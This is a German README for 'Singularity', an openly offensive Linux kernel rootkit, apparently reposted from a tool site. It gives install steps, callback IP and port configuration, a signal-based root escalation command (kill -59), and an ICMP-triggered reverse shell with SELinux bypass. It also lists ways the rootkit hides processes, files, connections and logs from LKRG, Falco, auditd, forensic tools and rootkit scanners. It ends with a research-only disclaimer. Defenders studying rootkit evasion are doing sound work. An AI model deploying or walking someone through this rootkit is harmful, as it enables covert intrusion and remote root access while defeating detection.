Singularity - Heimlicher Linux-Kernel-Rootkit

"Sollen wir der Forensik etwas Arbeit geben?"

Dieses Projekt wurde von einer mir sehr besonderen Frau inspiriert: Mocinha

Singularity ist ein leistungsfähiges Linux-Kernel-Modul (LKM) Rootkit, das für moderne 6.x-Kernel entwickelt wurde. Es bietet umfassende Tarnfähigkeiten durch erweitertes System-Call-Hooking über die ftrace-Infrastruktur.

Vollständiger Forschungsartikel (veraltete Version): Singularity: A Final Boss Linux Kernel Rootkit

EDR-Umgehungs-Fallstudie: Bypassing Elastic EDR with Singularity

POC-Video: Singularity vs eBPF security tools: Singularity vs eBPF security tools

eBPF-Sicherheitsumgehung mit Singularity-Hooks: Breaking eBPF

Was ist Singularity?

Singularity ist ein hochentwickeltes Rootkit, das auf Kernelebene arbeitet und Folgendes bietet:

Prozessverstecken: Macht jeden Prozess für das System unsichtbar
Datei- und Verzeichnisverstecken: Versteckt Dateien mittels Mustererkennung
Netzwerktarnung: Versteckt TCP/UDP-Verbindungen, Ports und Conntrack-Einträge
Privilegienerweiterung: Signalbasierter sofortiger Root-Zugriff
Log-Säuberung: Filtert Kernel-Logs und System-Journale in Echtzeit
Selbstverstecken: Entfernt sich aus Modullisten und Systemüberwachung
Fernzugriff: ICMP-getriggerte Reverse Shell mit automatischem Verstecken
Anti-Erkennung: Umgeht eBPF-basierte Laufzeitsicherheitstools (Falco, Tracee), bypass Linux Kernel Runtime Guard (LKRG) und verhindert io_uring-Bypass-Versuche
Audit-Umgehung: Verwirft Audit-Nachrichten für versteckte Prozesse auf Netlink-Ebene mit Statistiktracking und Socket-Inode-Filterung
Memory-Forensik-Umgehung: Filtert /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
Cgroup-Filterung: Filtert versteckte PIDs aus cgroup.procs
Syslog-Umgehung: Hookt do_syslog, um den Zugriff auf den Kernel-Ringpuffer über klogctl() zu filtern
Debugfs-Umgehung: Filtert Ausgaben von Tools wie debugfs, die rohe Blockgeräte lesen
Conntrack-Filterung: Versteckt Verbindungen aus /proc/net/nf_conntrack und Netlink SOCK_DIAG/NETFILTER-Abfragen
SELinux-Umgehung: Automatische Umgehung des SELinux-Enforcing-Modus bei ICMP-Trigger
LKRG-Bypass: Umgeht die Erkennungsmechanismen des Linux Kernel Runtime Guard
eBPF-Sicherheits-Bypass: Versteckt Prozesse vor eBPF-basierten Laufzeitsicherheitstools (Falco, Tracee)

Funktionen

Signalbasierte Rechteerhöhung (kill -59)
Vollständiges Prozessverstecken vor /proc und Überwachungstools
Musterbasiertes Dateisystemverstecken für Dateien und Verzeichnisse
Verstecken von Netzwerkverbindungen vor netstat, ss, conntrack und Paketanalysatoren
Erweiterte Netlink-Filterung (SOCK_DIAG, NETFILTER/Conntrack-Nachrichten)
Echtzeit-Kernel-Log-Filterung für dmesg, journalctl und klogctl
Modul-Selbstverstecken vor lsmod und /sys/module
Automatische Normalisierung des Kernel-Taint-Flags
BPF-Datenfilterung zur Verhinderung eBPF-basierter Erkennung
io_uring-Schutz gegen asynchrone I/O-Bypassversuche
Log-Maskierung für Kernel-Nachrichten und System-Logs
Umgehung von Standard-Rootkit-Erkennern (unhide, chkrootkit, rkhunter)
Automatische Verfolgung und Versteckung von Kindprozessen via Tracepoint-Hooks
Multi-Architektur-Unterstützung (x64 + ia32)
Netzwerk-Paketfilterung auf Paketebene mit Raw-Socket-Schutz
Schutz gegen alle Datei-I/O-Varianten (read, write, splice, sendfile, tee, copy_file_range)
Netlink-Ebene Audit-Nachrichtenfilterung mit Statistiktracking zur Umgehung der auditd-Erkennung
Socket-Inode-Tracking für umfassendes Netzwerkverstecken
Cgroup-PID-Filterung zur Verhinderung von Erkennung über /sys/fs/cgroup/*/cgroup.procs
TaskStats-Netlink-Blockierung zur Verhinderung von PID-Aufzählung
/proc/kcore-Filterung zur Umgehung von Memory-Forensik-Tools (Volatility, crash, gdb)
do_syslog-Hook zur Filterung von klogctl() und Verhinderung von Kernel-Ringpuffer-Lecks
Blockdevices-Ausgabefilterung zur Umgehung von debugfs und ähnlichen Disk-Forensik-Tools
journalctl -k-Ausgabefilterung via Write-Hook
Fähigkeit zur Umgehung des SELinux-Enforcing-Modus für ICMP-getriggerte Shells
LKRG-Integritätsprüfungen-Bypass für versteckte Prozesse
Falco-Event-Verstecken via BPF-Ringpuffer und Perf-Event-Interception

Installation

Voraussetzungen

Linux-Kernel 6.x
Kernel-Header für Ihren laufenden Kernel
GCC und Make
Root-Zugriff

Schnellinstallation```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

Das war's. Das Modul automatisch:
- Versteckt sich vor lsmod, /proc/modules, /sys/module
- Löscht Kernel-Taint-Flags
- Filtert sensible Zeichenfolgen aus dmesg, journalctl -k, klogctl
- Beginnt mit dem Schutz Ihrer versteckten Dateien und Prozesse

### Wichtige Hinweise

**Das Modul versteckt sich automatisch nach dem Laden**

**Es gibt keine Entladefunktion – Neustart erforderlich zum Entfernen**

**Zuerst in einer VM testen – kann ohne Neustart nicht entfernt werden**

## Konfiguration

### Legen Sie Ihre Server-IP und Ihren Port fest

**Bearbeiten Sie `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Bearbeiten modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**Bearbeiten `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

Bearbeite modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

**Wichtig**: Alle Portdefinitionen müssen übereinstimmen, um eine ordnungsgemäße Netzwerkverbergung und ICMP-Reverse-Shell-Funktionalität zu gewährleisten.

## Verwendung

### Prozesse verbergen```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.

Dateien & Verzeichnisse verstecken

Dateien, die Ihren konfigurierten Mustern entsprechen, werden automatisch versteckt:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Root werden

**Signalbasierte Methode:**```bash
kill -59 $$
id  # uid=0(root)

Netzwerkverbindungen ausblenden

Verbindungen auf Ihrem konfigurierten Port (Standard: 8081) werden automatisch ausgeblendet:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

Pakete werden auf Raw-Socket-Ebene (tpacket_rcv) verworfen und versteckt vor:
- /proc/net/*-Schnittstellen (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG-Abfragen (verwendet von ss, lsof)
- Netlink NETFILTER/conntrack-Nachrichten (verwendet von conntrack-Tool)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP Reverse Shell

Lösen Sie eine versteckte Reverse Shell remote mit automatischer SELinux-Umgehung aus:

**1. Listener starten:**```bash
nc -lvnp 8081  # Use your configured port

2. ICMP-Trigger senden:```bash sudo python3 scripts/trigger.py <target_ip>

**3. Root-Shell erhalten** (automatisch verborgen mit allen Kindprozessen, SELinux-Erzwingungsmodus umgangen, falls aktiv)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## Schutzmechanismen

### Ftrace-Kontrollschutz

Alle Versuche, ftrace zu deaktivieren, werden still abgefangen und blockiert:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

Geschützte Syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (mit intelligentem pro-PID-Caching)

BPF-Syscall-Filterung

Das Modul bpf_hook.c implementiert ein ausgeklügeltes Anti-Erkennungssystem gegen eBPF-basierte Sicherheitswerkzeuge. Anstatt BPF-Syscalls vollständig zu blockieren (was ein Erkennungsmerkmal wäre), filtert es selektiv Daten auf Kernel-Ebene, um versteckte Prozesse und Verbindungen für eBPF-Programme unsichtbar zu machen.

Strategie: Abfangen von Datensammlungs- und Berichtsfunktionen, die von eBPF-Programmen verwendet werden, nicht des BPF-Syscalls selbst. Dadurch können legitime eBPF-Tools normal ausgeführt werden, während sie daran gehindert werden, versteckte Ressourcen zu sehen.

Geschützte Ressourcen:

Versteckte Prozesse und deren gesamter Prozessbaum (bis zu 10 übergeordnete Ebenen)
Netzwerkverbindungen auf konfiguriertem Port (Standard: 8081) oder zu konfigurierter IP-Adresse
Socket-Inodes, die mit versteckten Prozessen verbunden sind

Abfangpunkte:

Iteratorausführung (Prozess-/Socket-Aufzählung)
Ringbuffer-Operationen (Ereignisübermittlung an den Userspace)
BPF-Map-Operationen (PID-Suchen und -Einfügungen)
Perf-Ereignisausgabe (Legacy-eBPF-Ereignisübermittlung)
Seq-Datei-Schreibvorgänge (Ausgabeformatierung)
Programmausführung (kontextbasierte Filterung)

Dieser Ansatz schlägt eBPF-Sicherheitswerkzeuge, ohne Warnungen auszulösen, die durch das vollständige Blockieren von BPF-Operationen entstehen würden.

io_uring-Schutz

Schutz gegen io_uring-Umgehung bei ftrace_enabled- und tracing_on-Versuchen mit intelligentem Caching (1-Sekunden-Cache pro PID, um wiederholte Prozess-Scans zu verhindern und Overhead zu reduzieren)

Log-Bereinigung

Echtzeit-Filterung sensibler Zeichenfolgen aus allen Kernel-Log-Schnittstellen:

Gefilterte Schlüsselwörter: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

Hinweis: Audit-Nachrichten für versteckte PIDs werden auf Netlink-Ebene mit Statistikverfolgung verworfen (get_blocked_audit_count, get_total_audit_count)

Umgehung der Datenträgerforensik

Singularity hakt den write-Syscall ein, um die Ausgabe von Datenträgerforensik-Tools zu erkennen und zu filtern:

So funktioniert es:

Erkennt, ob ein Prozess ein Blockgerät geöffnet hat (/dev/sda, /dev/nvme0n1, etc.)
Erkennt debugfs-artige Ausgabemuster (Inode-Auflistungen, Dateisystemmetadaten)
Bereinigt versteckte Muster an Ort und Stelle (ersetzt durch Leerzeichen, um Puffergröße/Prüfsummen beizubehalten)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

**Erkannte Muster:**
- `debugfs:` Präfix
- Inode-Auflistungen mit Klammern
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### Implementierung der Prozessversteckung

Vollständiges Verstecken vor Syscalls und Kernel-Interfaces:
- /proc/[pid]/* (openat, readlinkat blockiert)
- getdents, getdents64 (Verzeichnisauflistung gefiltert)
- stat, lstat, statx, newfstatat (Metadaten versteckt)
- kill mit Signal 0 (gibt ESRCH zurück)
- getsid, getpgid, getpgrp (gibt ESRCH zurück)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (gibt ESRCH zurück)
- getpriority (gibt ESRCH zurück)
- sysinfo (Prozessanzahl angepasst)
- pidfd_open (gibt ESRCH zurück)
- TaskStats-Netlink-Abfragen (gibt ESRCH zurück)
- Cgroup-PIDs aus cgroup.procs gefiltert

Kindprozesse werden automatisch über den sched_process_fork-Tracepoint-Hook verfolgt.

### LKRG-Umgehung

Singularity implementiert eine umfassende Umgehung des Linux Kernel Runtime Guard:

**Umgangene Prüfungen:**
- Validierung von Prozess-Anmeldeinformationen (p_cmp_creds)
- Integrität der Task-Struktur (p_cmp_tasks)
- Control-Flow-Integritätsvalidierung (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Kernel-Integritätsprüfungen (p_check_integrity)
- Exploit-Erkennungssubsystem (p_exploit_detection_init)
- User-Mode-Helper-Überwachung (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Task-Dumping und -Aufzählung (p_dump_task_f, ed_task_add)
- Kprobe-Ftrace-Handler-Abfangen

**Funktionen:**
- Automatische LKRG-Erkennung und Hook-Installation
- Prozess-Stammbaum-Verifikation (versteckt gesamte Prozessbäume bis zu 64 Ebenen tief)
- UMH-Umgehung für Reverse-Shell-Operationen
- Modul-Benachrichtigungssystem zur Erkennung des Ladens von LKRG

Versteckte Prozesse sind für alle LKRG-Integritätsverifikationsmechanismen unsichtbar.

### Falco-Umgehung

Singularity implementiert ein umfassendes Anti-EDR-Verteidigungssystem, das eBPF-basierte Sicherheitstools daran hindert, versteckte Prozesse und Netzwerkverbindungen zu erkennen. Der Schutz funktioniert durch Abfangen von Kernel-Funktionen, die eBPF-Programme zum Sammeln und Melden von Daten verwenden.

**Geschützt gegen:**
- Falco (ereignisbasierte Laufzeitsicherheit)
- Tracee (Sicherheits-Tracing)
- bpftool und ss mit BPF-Backend

**Mehrschichtiges Abfangen:**

1. **Iterator-Filterung** (bpf_iter_run_prog)
   - Filtert Sockets auf versteckten Ports aus TCP/UDP-Iteratoren
   - Versteckt Prozesse und ihre Kindprozesse vor Task-Iteratoren
   - Verhindert Erkennung über `ss` und Prozess-Enumerator-Tools

2. **Ringbuffer-Ereignisblockierung** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - Erkennt Falco-Ereignisstrukturen durch Analyse des Header-Formats
   - Blockiert Ereigniszuteilung, -übermittlung und -ausgabe für versteckte PIDs
   - Verhindert, dass Syscall-Ereignisse den Falco-Userspace-Agenten erreichen

3. **BPF-Map-Manipulation** (bpf_map_lookup_elem, bpf_map_update_elem)
   - Gibt NULL zurück, wenn eBPF versteckte PIDs in Maps nachschlägt
   - Lässt Map-Einfügungen, bei denen der Schlüssel eine versteckte PID ist, stillschweigend ausfallen
   - Verhindert, dass eBPF-Sicherheitstools versteckte Prozesse verfolgen

4. **Perf-Event-Unterdrückung** (perf_event_output, perf_trace_run_bpf_submit)
   - Blockiert perf-basierte Ereignisübermittlung von versteckten Prozessen
   - Verhindert, dass ältere eBPF-Tools Trace-Daten empfangen

5. **Seq-Datei-Filterung** (bpf_seq_write, bpf_seq_printf)
   - Scannt Ausgabedaten vor dem Schreiben auf versteckte PIDs
   - Verhindert Datenlecks über /proc-Schnittstellen, die von eBPF-Iteratoren verwendet werden

6. **Programmausführungskontrolle** (__bpf_prog_run)
   - Blockiert die Ausführung von eBPF-Programmen im Kontext eines versteckten Prozesses
   - Verhindert jede eBPF-basierte Überwachung von Interna versteckter Prozesse

**Socket- und Verbindungsversteckung:**
- Cachet die versteckte IP-Adresse für Leistung
- Filtert Sockets basierend auf konfiguriertem Port und konfigurierter IP
- Versteckt sowohl IPv4- als auch IPv6-Verbindungen
- Arbeitet auf Iterator-Ebene (bevor Daten eBPF-Programme erreichen)

**Prozess-Stammbaum-Verfolgung:**
- Verfolgt die Elternprozesskette bis zu 10 Ebenen tief
- Versteckt automatisch alle Nachkommen versteckter Prozesse
- Stellt sicher, dass nach dem Verstecken erzeugte Kindprozesse unsichtbar bleiben

Versteckte Prozesse und Verbindungen erzeugen null Ereignisse, die für eBPF-Sicherheitstools sichtbar sind.

## Umgangene Sicherheitstools

**Prozessüberwachung**: ps, top, htop, atop, pidof

**Dateisystem**: ls, find, locate, stat, lstat, readlink, tree

**Datenträger-Forensik**: debugfs, e2fsck (Ausgabe über Write-Hook gefiltert)

**Speicherforensik**: Volatility, crash, gdb (über /proc/kcore-Filterung)

**Netzwerk**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**Protokolle & Traces**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**Rootkit-Erkenner**: unhide, chkrootkit, rkhunter, OSSEC

**Modulerkennung**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**Kernel-Sicherheit**: LKRG (Linux Kernel Runtime Guard)

**eBPF-Sicherheitstools**:
- Falco (Laufzeitsicherheitsüberwachung)
- Tracee (Sicherheits-Tracing)
- bpftrace, bpftool (bei Verwendung zur Überwachung)

**EDR/Überwachung**: io_uring-basierte Monitore, einige Linux-EDR-Lösungen, auditd

## Syscall-Hooks

| Syscall/Funktion | Modul | Zweck |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Verzeichniseinträge filtern, PIDs verstecken |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Dateimetadaten verstecken, nlink anpassen |
| getpriority | hiding_stat.c | Prioritätsabfragen für versteckte PIDs verstecken |
| openat | open.c | Zugriff auf versteckte /proc/[pid] blockieren |
| readlinkat | hiding_readlink.c | Symlink-Auflösung blockieren |
| chdir | hiding_chdir.c | cd in versteckte Verzeichnisse verhindern |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Kernel-Protokolle, kcore, kallsyms, cgroup-PIDs, nf_conntrack filtern |
| do_syslog | clear_taint_dmesg.c | klogctl()/syslog()-Kernel-Ringbuffer filtern |
| sched_debug_show | clear_taint_dmesg.c | Scheduler-Debug-Ausgabe filtern |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | ftrace-Steuerung blockieren + Datenträger-Forensik filtern + journalctl-Ausgabe filtern |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Dateikopien in geschützte Dateien blockieren |
| splice, vmsplice, tee | hooks_write.c | Pipe-basierte Schreibvorgänge in geschützte Dateien blockieren |
| io_uring_enter | hooks_write.c | Async-I/O-Umgehung mit PID-Caching blockieren |
| kill | become_root.c | Root-Trigger + Prozesse verstecken |
| getsid, getpgid, getpgrp | become_root.c | Gibt ESRCH für versteckte PIDs zurück |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Gibt ESRCH für versteckte PIDs zurück |
| sysinfo | become_root.c | Passt Prozessanzahl an |
| pidfd_open | become_root.c | Gibt ESRCH für versteckte PIDs zurück |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | TCP-Verbindungen aus /proc/net verstecken |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | UDP-Verbindungen aus /proc/net verstecken |
| tpacket_rcv | hiding_tcp.c | Pakete auf Raw-Socket-Ebene verwerfen |
| recvmsg, recvfrom | audit.c | Netlink SOCK_DIAG- und NETFILTER-Nachrichten filtern |
| netlink_unicast | audit.c | Audit-Nachrichten für versteckte PIDs verwerfen |
| audit_log_start | audit.c | Erstellung von Audit-Protokollen für versteckte Prozesse blockieren |
| bpf | bpf_hook.c | eBPF-Operationen für versteckte PIDs filtern |
| bpf_iter_run_prog | bpf_hook.c | Versteckte Prozesse vor BPF-Iteratoren verstecken |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | BPF-Seq-Datei-Ausgabe filtern |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Falco-Ereignisse über Ringbuffer filtern |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | BPF-Map-Operationen filtern |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Perf-Ereignisse für versteckte Prozesse filtern |
| __bpf_prog_run | bpf_hook.c | BPF-Programmausführung filtern |
| icmp_rcv | icmp.c | ICMP-getriggerte Reverse Shell mit SELinux-Umgehung |
| taskstats_user_cmd | task.c | TaskStats-Abfragen für versteckte PIDs blockieren |
| sched_process_fork (tracepoint) | trace.c | Kindprozesse verfolgen |
| kprobe_ftrace_handler | lkrg_bypass.c | LKRG-Kprobe-Erkennung umgehen |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | LKRG-Anmeldeinformationsprüfungen umgehen |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | LKRG-CFI-Validierung umgehen |
| p_check_integrity | lkrg_bypass.c | LKRG-Integritätsprüfungen umgehen |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Vor LKRG-Task-Enumeration verstecken |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | LKRG-UMH-Überwachung umgehen |
| p_exploit_detection_init | lkrg_bypass.c | LKRG-Exploit-Erkennung umgehen |
| tainted_mask (kthread) | reset_tainted.c | Kernel-Taint-Flags löschen |
| module_hide_current | hide_module.c | Aus Modullisten und sysfs entfernen |

**Multi-Architektur-Unterstützung**: x86_64 (`__x64_sys_*`) und ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## Getestete Kernel-Versionen

| Kernel-Version | Distribution | Status | Anmerkungen |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Stabil | Primäre Entwicklungsumgebung |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Stabil | RHEL-basierter Kernel |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Stabil | Debian-Kernel |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Stabil | SELinux-Enforcing-Umgehung validiert |
| 6.17.0-8-generic | Ubuntu 25.10 | Stabil | Neuerer generischer Kernel, voll funktionsfähig |
| 6.14.0-37-generic | Ubuntu 24.04 | Stabil | LKRG- und Falco-Umgehung validiert |
| 6.12.25-amd64 | Kali Linux | Stabil | Kali 6.12.25-1kali1 |

## Die Handlung

Leider für manche...

Selbst mit all diesen Filtern, Schutzmaßnahmen und Hooks gibt es immer noch Möglichkeiten, dieses Rootkit zu erkennen.

Aber wenn Sie ein guter Forensik-Analyst, DFIR-Profi oder Malware-Forscher sind, überlasse ich es Ihnen, es selbst herauszufinden.

Ich werde dies nicht patchen, denn das wird noch viel OP sein ;)

## Danksagungen

**Singularity** wurde erstellt von **MatheuZSecurity** (Matheus Alves)

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**Rootkit-Forscher beitreten**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### Code-Referenzen

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### Forschungsinspiration

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## Mitwirken

- Pull-Requests für Verbesserungen einreichen
- Fehler über GitHub Issues melden
- Neue Umgehungstechniken vorschlagen
- Erkennungsmethoden teilen (für die Forschung)

**Einen Fehler gefunden?** Eröffne ein Issue oder kontaktiere mich auf Discord: `kprobe`

**NUR FÜR BILDUNGS- UND FORSCHUNGSZWECKE**

Singularity wurde als Forschungsprojekt erstellt, um die Grenzen von Kernel-Level-Tarnungstechniken auszuloten. Das Ziel ist es, eine Frage zu beantworten: **„Wie weit kann sich ein Rootkit verstecken, wenn es ihm gelingt, in ein System einzudringen und geladen zu werden?“**

Dieses Projekt existiert, um:
- Die Grenzen der offensiven Sicherheitsforschung auszuloten
- Verteidigern zu helfen, zu verstehen, wogegen sie kämpfen
- Eine Lernressource für Kernel-Interna und Umgehungstechniken bereitzustellen
- Zur Wissensbasis der Sicherheitscommunity beizutragen

**Ich bin nicht verantwortlich für jeglichen Missbrauch dieser Software.** Wenn Sie sich entscheiden, Singularity für bösartige Zwecke zu verwenden, liegt das in Ihrer Verantwortung. Dieses Tool wird wie besehen nur für Forschung, Bildung und autorisierte Sicherheitstests bereitgestellt.

Testen Sie nur auf Systemen, die Sie besitzen oder für die Sie ausdrückliche schriftliche Erlaubnis haben. Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal.

**Seien Sie ein Forscher, kein Krimineller.**

`dmesg`	read hook auf /proc/kmsg	Gefiltert
`journalctl -k`	write hook (Ausgabefilterung)	Gefiltert
`klogctl()` / `syslog()`	do_syslog-Hook	Gefiltert
`/sys/kernel/debug/tracing/*`	read hook	Gefiltert
`/var/log/kern.log`, `syslog`, `auth.log`	read hook	Gefiltert
`/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo`	read hook	Gefiltert
`/proc/net/nf_conntrack`	read hook	Gefiltert

Singularity

Beliebteste